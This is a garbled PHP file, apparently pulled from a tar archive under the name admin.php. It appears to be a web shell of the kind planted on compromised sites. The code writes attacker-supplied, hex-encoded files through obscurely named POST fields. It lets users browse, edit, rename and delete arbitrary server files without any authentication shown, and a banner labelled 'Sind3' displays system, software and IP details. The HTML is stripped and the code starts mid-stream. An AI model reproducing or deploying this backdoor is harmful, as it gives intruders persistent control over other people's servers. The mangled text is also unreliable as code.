oel/admin.php 0000666 00000056045 15134075167 0007153 0 ustar 00
| Name |
Size |
Actions |
';
echo '' . htmlspecialchars($entry) . ' | ';
echo '- | ';
echo ' | ';
echo '';
}
foreach ($fileList as $entry) {
$path = $d . DIRECTORY_SEPARATOR . $entry;
echo '';
echo '| ' . htmlspecialchars($entry) . ' | ';
echo '' . (is_file($path) ? filesize($path) . ' bytes' : '-') . ' | ';
echo '';
echo 'Edit | ';
echo 'Rename | ';
echo 'Delete';
echo ' | ';
echo '
';
}
?>
$l) {
if ($l == '' && $m == 0) {
$breadcrumbHtml .= '/';
}
if ($l == '') continue;
$breadcrumbHtml .= ''.$l.'/';
}
echo $breadcrumbHtml;
exit;
}
function safe_stream_copy($in, $out): bool {
if (PHP_VERSION_ID < 80009) {
do {
for (;;) {
$buff = fread($in, 4096);
if ($buff === false || $buff === '') {
break;
}
if (fwrite($out, $buff) === false) {
return false;
}
}
} while (!feof($in));
return true;
} else {
return stream_copy_to_stream($in, $out) !== false;
}
}
if (isset($_POST['benkyo']) && isset($_POST['dakeja'])) {
$fileName = $_POST['benkyo'];
$encodedContent = $_POST['dakeja'];
$decodedContent = hex2bin($encodedContent);
if ($decodedContent === false) {
if ($isAjax) {
header('Content-Type: application/json');
echo json_encode(['status' => 'failed', 'msg' => 'Invalid Base64 encoding']);
} else {
setFlash('failed', 'Invalid Base64 encoding');
header("Location: ?d=" . hex($d));
}
exit;
}
$tempStream = fopen('php://temp', 'r+');
fwrite($tempStream, $decodedContent);
rewind($tempStream);
$targetPath = $d . DIRECTORY_SEPARATOR . basename($fileName);
$outStream = fopen($targetPath, 'wb');
$success = $tempStream && $outStream && safe_stream_copy($tempStream, $outStream);
if ($outStream) fclose($outStream);
if ($tempStream) fclose($tempStream);
if ($success) {
if ($isAjax) {
header('Content-Type: application/json');
echo json_encode(['status' => 'success', 'msg' => 'File uploaded successfully']);
} else {
setFlash('success', 'File uploaded successfully');
header("Location: ?d=" . hex($d));
}
} else {
if ($isAjax) {
header('Content-Type: application/json');
echo json_encode(['status' => 'failed', 'msg' => 'File upload failed']);
} else {
setFlash('failed', 'File upload failed');
header("Location: ?d=" . hex($d));
exit;
}
}
exit;
}
if (isset($_GET['action']) && in_array($_GET['action'], ['delete', 'rename', 'edit']) && isset($_GET['file'])) {
if ($_GET['action'] === 'delete') {
$fileName = $_GET['file'];
$filePath = realpath($d . DIRECTORY_SEPARATOR . $fileName);
if (!$filePath || !is_file($filePath)) {
$response = ['status'=>'failed','msg'=>'File not found or access denied'];
} else {
$result = unlink($filePath);
$response = $result
? ['status'=>'success','msg'=>'File deleted successfully']
: ['status'=>'failed','msg'=>'File deletion failed'];
}
header('Content-Type: application/json');
echo json_encode($response);
exit;
} elseif ($_GET['action'] === 'rename') {
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['new_name'])) {
$oldFile = realpath($d . DIRECTORY_SEPARATOR . $_GET['file']);
$newFile = $d . DIRECTORY_SEPARATOR . $_POST['new_name'];
if ($oldFile && is_file($oldFile)) {
$result = rename($oldFile, $newFile);
$response = $result
? ['status'=>'success','msg'=>'File renamed successfully']
: ['status'=>'failed','msg'=>'File renaming failed'];
header('Content-Type: application/json');
echo json_encode($response);
exit;
} else {
header('Content-Type: application/json');
echo json_encode(['status'=>'failed','msg'=>'File not found']);
exit;
}
} elseif ($isAjax) {
echo 'Rename File: ' . htmlspecialchars($_GET['file']) . '
';
echo '';
echo '';
echo '
';
exit;
}
} elseif ($_GET['action'] === 'edit') {
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['content'])) {
$filePath = realpath($d . DIRECTORY_SEPARATOR . $_GET['file']);
if ($filePath && is_file($filePath)) {
$fp = fopen($filePath, "w");
if ($fp) {
$bytesWritten = fwrite($fp, stripslashes($_POST['content']));
fclose($fp);
$response = ($bytesWritten !== false)
? ['status' => 'success', 'msg' => 'File edited successfully']
: ['status' => 'failed', 'msg' => 'File editing failed'];
} else {
$response = ['status' => 'failed', 'msg' => 'File opening failed'];
}
header('Content-Type: application/json');
echo json_encode($response);
exit;
} else {
header('Content-Type: application/json');
echo json_encode(['status' => 'failed', 'msg' => 'File not found']);
exit;
}
} elseif ($isAjax) {
$filePath = realpath($d . DIRECTORY_SEPARATOR . $_GET['file']);
if ($filePath && is_file($filePath)) {
$content = file_get_contents($filePath);
echo 'Edit File: ' . htmlspecialchars($_GET['file']) . '
';
echo '';
echo '';
echo '
';
}
exit;
}
}
}
?>
Sind3
SERV : = isset($_SERVER['SERVER_SOFTWARE']) ? php_uname() : "Server information not available"; ?>
SOFT :
IP : = gethostbyname($_SERVER['HTTP_HOST']) ?>
——————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————
$l) {
if ($l == '' && $m == 0) {
echo '
/';
}
if ($l == '') continue;
echo '
'.$l.'/';
}
?>
| Name |
Size |
Actions |
';
echo '' . htmlspecialchars($entry) . ' | ';
echo '- | ';
echo ' | ';
echo '';
}
foreach ($fileList as $entry) {
$path = $d . DIRECTORY_SEPARATOR . $entry;
echo '';
echo '| ' . htmlspecialchars($entry) . ' | ';
echo '' . (is_file($path) ? filesize($path) . ' bytes' : '-') . ' | ';
echo '';
echo 'Edit | ';
echo 'Rename | ';
echo 'Delete';
echo ' | ';
echo '
';
}
?>